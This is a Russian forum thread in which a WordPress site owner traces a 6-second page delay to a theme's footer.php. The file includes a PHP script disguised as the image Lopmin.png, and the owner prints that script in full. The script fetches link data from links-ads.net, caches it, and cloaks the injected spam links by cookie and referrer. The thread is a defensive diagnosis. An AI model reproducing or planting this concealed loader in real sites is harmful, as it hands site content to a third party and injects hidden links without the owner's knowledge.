Время отклика сервера более 6 сек.

(Ответов: 28, Просмотров: 2322)
Страница 3 из 3 Первая 123
  1. Студент Аватар для dvf2000
    • Регистрация: 17.12.2012
    • Сообщений: 42
    • Репутация: 3
    druzhkov,
    по поводу системных файлов - я Wordpress с нуля заливал на хостинг, проблему не решило
    • 0
  2. Гуру Аватар для Я Джин
    • Регистрация: 20.03.2012
    • Сообщений: 579
    • Репутация: 154
    • Webmoney BL: ?
    .htaccess - там частенько гадость сидеть может, излюбленный файл для вредоносных кодов
    • 0
  3. Студент Аватар для dvf2000
    • Регистрация: 17.12.2012
    • Сообщений: 42
    • Репутация: 3
    Я Джин,

    .htaccess стандартный, не считая того что туда плагин кэширования понаписал

    ---------- Сообщение добавлено 20:19 ---------- Предыдущее 20:08 ----------

    Я склоняюсь к тому, что проблемма была изначально, скорее всего в теме, хостер указал на домен _http://tlinks-ads.net/ который откуда-то подгружается и раньше я не замечал задержки, сейчас сайт по этой ссылке недоступен, поэтому появилась задержка. Вопрос как найти откуда эта ссылка грузится!
    • 0
  4. Гуру Аватар для Я Джин
    • Регистрация: 20.03.2012
    • Сообщений: 579
    • Репутация: 154
    • Webmoney BL: ?
    если глазом не определить то:
    сменить шаблон временно - посмотреть скорость
    отключать плагины и другие работающие скрипты на сайте по очереди и уже по факту смотреть где тормоз сидит
    ну с БД я понял что все в порядке
    • 0
  5. Студент Аватар для dvf2000
    • Регистрация: 17.12.2012
    • Сообщений: 42
    • Репутация: 3
    Проблему решил!!!

    Кому интересно

    В файле темы footer.php был такой код
    PHP код:
    <?php @include ($_SERVER['DOCUMENT_ROOT'].'/wp-content/themes/sport_fishing_wp_theme/images/Lopmin.png');?>
    решил посмотреть что это за каринка Lopmin.png, а она оказалась вовсе не картинка, а преинтересный файл с кодом

    PHP код:
    <?php
    /*
      links-ads, Links Advert Solutions Company
      
      Released under the GNU General Public License

      Featured Products Listing Module
      
      Copyright (c) 2010 links-ads
    */

    @error_reporting(0);
    @
    ini_set('display_errors',0);
    @
    ini_set('log_errors',0);

    class 
    ads_class{

        var 
    $_nummer_schauen   false;
        var 
    $_alles_sagen       false;
        var 
    $_reparieren        false;


        var 
    $_kodierung            'UTF-8'// windows-1251 UTF-8
        
    var $_ads_charset        '';
        var 
    $_fehler             '';
        var 
    $_host              '';
        var 
    $_request_uri       '';
        var 
    $_get_type '';               
        var 
    $_senden_depens     '';
        var 
    $_ist_unser_s        false;
        var 
    $_sess_file         '';
        var 
    $_style '';
        var 
    $_links = array();    
        var 
    $_links_page = array();    
        var 
    $_delimiter '';
        var 
    $tmp '/tmp/'  ;  //'d:/web/temp/'  '/tmp/'   '/home/offerweb/data/mod-tmp'    '/var/www/teplodivo/data/tmp/'

        
        
    function ads_class($options null){
            
            if (
    strlen($this->_host) == 0) {
                
    $this->_host $_SERVER['HTTP_HOST'];
            }
        
            
    $this->_host preg_replace('/^http:\/\//'''$this->_host);
            
    $this->_host preg_replace('/^www\./'''$this->_host);
            
    $this->_request_uri $_SERVER['REQUEST_URI'];      
            
            if (isset(
    $options['_kodierung']) && strlen($options['_kodierung'])) {
                
    $this->_kodierung $options['_kodierung'];
            }
            if (isset(
    $options['tmp']) && strlen($options['tmp']) != 0) {
                
    $this->tmp $options['tmp'];
            }        
            foreach (
    $_COOKIE as $key => $value){
                if (
    strpos($key"e_cookie") !== false){
                    
    $this->_ist_unser_s true;
                }
            }
            
    $this->load_data();
        }

        function 
    fetch_remote_file($host$path) {

            
    $user_agent 'ADS';
            @
    ini_set('allow_url_fopen',1);
            @
    ini_set('default_socket_timeout',6);
            @
    ini_set('user_agent',$user_agent);
            if (
                
    $this->_get_type == 'file_get_contents'
                
    ||
                (
                    
    $this->_get_type == ''
                    
    &&
                    
    function_exists('file_get_contents')
                    &&
                    
    ini_get('allow_url_fopen') == 1
                
    )
            ) {
                
    $this->_get_type 'file_get_contents';
                if (
    $data = @file_get_contents('http://' $host $path)) {
                    return 
    $data;
                }

            } elseif (
                
    $this->_get_type == 'curl'
                
    ||
                (
                    
    $this->_get_type == ''
                    
    &&
                    
    function_exists('curl_init')
                )
            ) {
                
    $this->_get_type 'curl';
                if (
    $ch = @curl_init()) {

                    @
    curl_setopt($chCURLOPT_URL,              'http://' $host $path);
                    @
    curl_setopt($chCURLOPT_HEADER,           false);
                    @
    curl_setopt($chCURLOPT_RETURNTRANSFER,   true);
                    @
    curl_setopt($chCURLOPT_CONNECTTIMEOUT,   6);
                    @
    curl_setopt($chCURLOPT_USERAGENT,        $user_agent);

                    if (
    $data = @curl_exec($ch)) {
                        return 
    $data;
                    }

                    @
    curl_close($ch);
                }

            } else {
                
    $this->_get_type 'socket';
                
    $buff '';
                
    $fp = @fsockopen($host80$errno$errstr6);
                if (
    $fp) {
                    @
    fputs($fp"GET {$path} HTTP/1.0\r\nHost: {$host}\r\n");
                    @
    fputs($fp"User-Agent: {$user_agent}\r\n\r\n");
                    while (!@
    feof($fp)) {
                        
    $buff .= @fgets($fp128);
                    }
                    @
    fclose($fp);

                    
    $page explode("\r\n\r\n"$buff);

                    return 
    $page[1];
                }

            }

            return 
    $this->raise_error('Error connect to server ' $host $path.', type: '.$this->_get_type);
        }

        function 
    _read($filename){
            
            
    $fp = @fopen($filename'rb');
            @
    flock($fpLOCK_SH);
            if (
    $fp) {
                
    clearstatcache();
                
    $length = @filesize($filename);
                
    $mqr = @get_magic_quotes_runtime();
                @
    set_magic_quotes_runtime(0);
                if (
    $length) {
                    
    $data = @fread($fp$length);
                } else {
                    
    $data '';
                }
                @
    set_magic_quotes_runtime($mqr);
                @
    flock($fpLOCK_UN);
                @
    fclose($fp);

            
                
                return 
    $data;
            }

            return 
    $this->raise_error('Error read data from: ' $filename);
        }

        function 
    _write($filename$data) {

            
    $fp = @fopen($filename'ab');
            if (
    $fp) {
                if (
    flock($fpLOCK_EX|LOCK_NB)) {
            
    $length strlen($data);
            
    ftruncate($fp0);
            @
    fwrite($fp$data$length);
            @
    flock($fpLOCK_UN);
            @
    fclose($fp);

            if (
    md5($this->_read($filename)) != md5($data)) {
                @
    unlink($filename);
                return 
    $this->raise_error('Error md5 check with write to: ' $filename);
            }
            } else {
            return 
    false;
            }

                return 
    true;
            }

            return 
    $this->raise_error('Error write to: ' $filename);
        }

        function 
    raise_error($e) {

            
    $this->_fehler 'ERROR: ' $e;
            if (
    $this->_alles_sagen == true) {
                print 
    $this->_fehler;
            }
            return 
    false;
        }

        function 
    load_data(){
            
            
    $this->_sess_file $this->tmp.'sess_' md5(".".$this->_host);
            if (!
    is_file($this->_sess_file)) {
                
                if (@
    touch($this->_sess_file)) {
                    @
    chmod($this->_sess_file0666);    
                } else {
                    return 
    $this->raise_error('No file ' $this->_sess_file '. Creation error.');
                }
            }
        
            if (!
    is_writable($this->_sess_file)) {
                return 
    $this->raise_error('Error access to: ' $this->_sess_file);
            }

            @
    clearstatcache();

            
    $data $this->_read($this->_sess_file);
            if (
                !
    $this->_ist_unser_s
                
    &&
                (
                    
    filemtime($this->_sess_file) < (time()-3600)
                    ||
                    
    filesize($this->_sess_file) == 0
            
    ||
            @
    unserialize($data) == false
                
    )
            ){            
                @
    touch($this->_sess_file, (time() - 3600 600));
                
                 
    $path '/code.php?user=qmnd0egr2zh5iv9s6ypctw8lj31bfo47&host=' $this->_host;
                if (
    strlen($this->_kodierung)) {
                    
    $path .= '&charset=' $this->_kodierung;
                }

                if (
    $data $this->fetch_remote_file('www.links-ads.net'$path)){
                    if (
    substr($data012) == 'FATAL ERROR:') {
                        
    $this->raise_error($data);
                    } else {
                        
                        
    $hash = @unserialize($data);
                        if (
    $hash != false) {
                            
                            
    $hash['__ads_charset__'] = $this->_kodierung;
                            
    $hash['__last_update__'] = time();
                            
    $hash['__multi_site__'] =  true;
                            
    $hash['__fetch_remote_type__'] = $this->_get_type;
                            
    $hash['__php_version__'] = phpversion();
                            
    $hash['__server_software__'] = $_SERVER['SERVER_SOFTWARE'];
                            
                            
    $data_new = @serialize($hash);
                            if (
    $data_new) {
                                
    $data $data_new;
                            }                
                            
    $this->_write($this->_sess_file$data);
                        }
                    }
                }       
            }
            
    $this->_senden_depens sprintf("%c%c%c%c",115,97,112,101);
            if (
    strlen(session_id())){
                
    $session session_name() . '=' session_id();
                
    $this->_request_uri str_replace(array('?'.$session,'&'.$session), ''$this->_request_uri);
            }
            
    $this->set_data(@unserialize($data));        
        }

        function 
    _ergebnisse($n null$offset 0) {

            if (
    is_array($this->_links_page)){

                
    $total_page_links count($this->_links_page);

                if (!
    is_numeric($n) || $n $total_page_links){
                    
    $n $total_page_links;
                }
                
    $point 'noindex';
                
    $links = array();

                for (
    $i 1$i <= $n$i++) {
                    if (
    $offset && $i <= $offset) {
                        
    array_shift($this->_links_page);
                    } else {
                        
    $links[] = array_shift($this->_links_page);
                    }
                }

                
    $result join($this->_delimiter$links);
                         
                if (
                    
    strlen($this->_kodierung) > 0
                    
    &&
                    
    strlen($this->_ads_charset) > 0
                    
    &&
                    
    $this->_ads_charset != $this->_kodierung
                    
    &&
                    
    function_exists('iconv')
                ) {
                    
    $new_html  = @iconv($this->_ads_charset$this->_kodierung$result);
                    if (
    $new_html) {
                        
    $result $new_html;
                    }
                }
                
                if (
    $this->_ist_unser_s){
                    
    $result '<'.$this->_senden_depens.'_'.$point.'>'.$result.'</'.$this->_senden_depens.'_'.$point.'>';
                }
                
                
    $ergebnisse $result;

            } else {
                
    $ergebnisse $this->_links_page;
            }
            return 
    $ergebnisse;
        }
        
        function 
    _get_style(){
            return 
    $this->_style;    
        }
        
        function 
    set_data($data){
            
    $this->_links $data;

            if (isset(
    $this->_links['2100499475757573'])){
                
    $this->_style $this->_links['2100499475757573'];
            }
            
            if (isset(
    $this->_links['434388477388475884'])){
                
    $this->_delimiter $this->_links['434388477388475884'];
            }
            if (isset(
    $this->_links['4888848858477284'])) {
                
    $this->_ads_charset $this->_links['4888848858477284'];
            } else {
                
    $this->_ads_charset '';
            }
            if (@
    array_key_exists($this->_request_uri$this->_links) && is_array($this->_links[$this->_request_uri])) {
                
    $this->_links_page $this->_links[$this->_request_uri];
            } else {
                if (isset(
    $this->_links['2100499267309588']) && strlen($this->_links['2100499267309588'])) {
                    if (
    $this->_ist_unser_s || $this->_nummer_schauen){
                        
    $this->_links_page $this->_links['2100499267309588'];
                    }
                }
            }
        }    
    }

    $ads = new ads_class();
    $ads_r $ads->_ergebnisse();
    $style $ads->_get_style();
    if (
    strlen($style) == 0){$style  =  '<style>.foot_st{display:none;}</style> <div class=foot_st>';}
    $style  =  '<div>';
    if (
    strlen($ads_r)>0){

        if (isset(
    $_SERVER['HTTP_REFERER'])){
            if (
    preg_match('%http://([^/]+)/%'$_SERVER['HTTP_REFERER'], $regs)){
                
    $data str_replace('www.'''$regs[1]);
                if ((
    substr(md5($data), 05) === 'f10cd')||(substr(md5($data), 05) === '2dde1')){
                    echo 
    "$ads_r"//exit;
                
    }else{
                    echo 
    "$style $ads_r</div>";
                }
            }
            else{
                echo 
    "$style $ads_r</div>";
            }
        }
        else{
            echo 
    "$style $ads_r</div>";
        }
    }
    ?>
    Строка @ini_set('default_socket_timeout',6); и давала задержку в 6 сек. если что-то по работе кода не срасталось.
    • 0
  6. Дипломник
    • Регистрация: 15.07.2013
    • Сообщений: 189
    • Репутация: 43
    • Webmoney BL: ?
    dvf2000, интересно, а что на этом месте было раньше? Действительно картинка?
    • 0
  7. Студент Аватар для dvf2000
    • Регистрация: 17.12.2012
    • Сообщений: 42
    • Репутация: 3
    druzhkov,

    Судя по датам файлов, такая конструкция в Теме worpressа была изначально, но код отрабатывал незаметно, пока "левый" сайт
    вызываемый кодом был доступен, сейчас он не доступен, поэтому перед загрузкой моего сайта шла программная задержка в 6 сек. Я так понимаю, что этот код сливал мой трафик на другой сайт.
    • 0
  8. Опытный Аватар для Бабайка
    • Регистрация: 08.06.2004
    • Сообщений: 309
    • Репутация: 27
    Тему где брал? В исходнике темы уже жило такое?
    «Спорт Опт»: карематы, сидушки, спальники, спасжилеты, утяжелители, пояса, груши
    • 0
  9. Студент Аватар для dvf2000
    • Регистрация: 17.12.2012
    • Сообщений: 42
    • Репутация: 3
    Бабайка,

    Да, это жило в исходнике темы.
    • 0
Страница 3 из 3 Первая 123

Похожие темы

Темы Раздел Ответов Последний пост
Поймай время за «глотку»!
Дайджест блогосферы 7 31.08.2010 18:45
24-Hoster Solutions - Виртуальный хостинг, VPS сервера, Выделенные сервера
Хостинг, сервера, домены 0 10.08.2010 23:24
Время менять хостинг!
Хостинг и Серверы 1 16.07.2010 13:20
Время влёта в ТОП СЧ И НЧ
Дорвеи и black SEO 23 24.09.2009 18:01

У кого попросить инвайт?

Вы можете попросить инвайт у любого модератора:

Информеры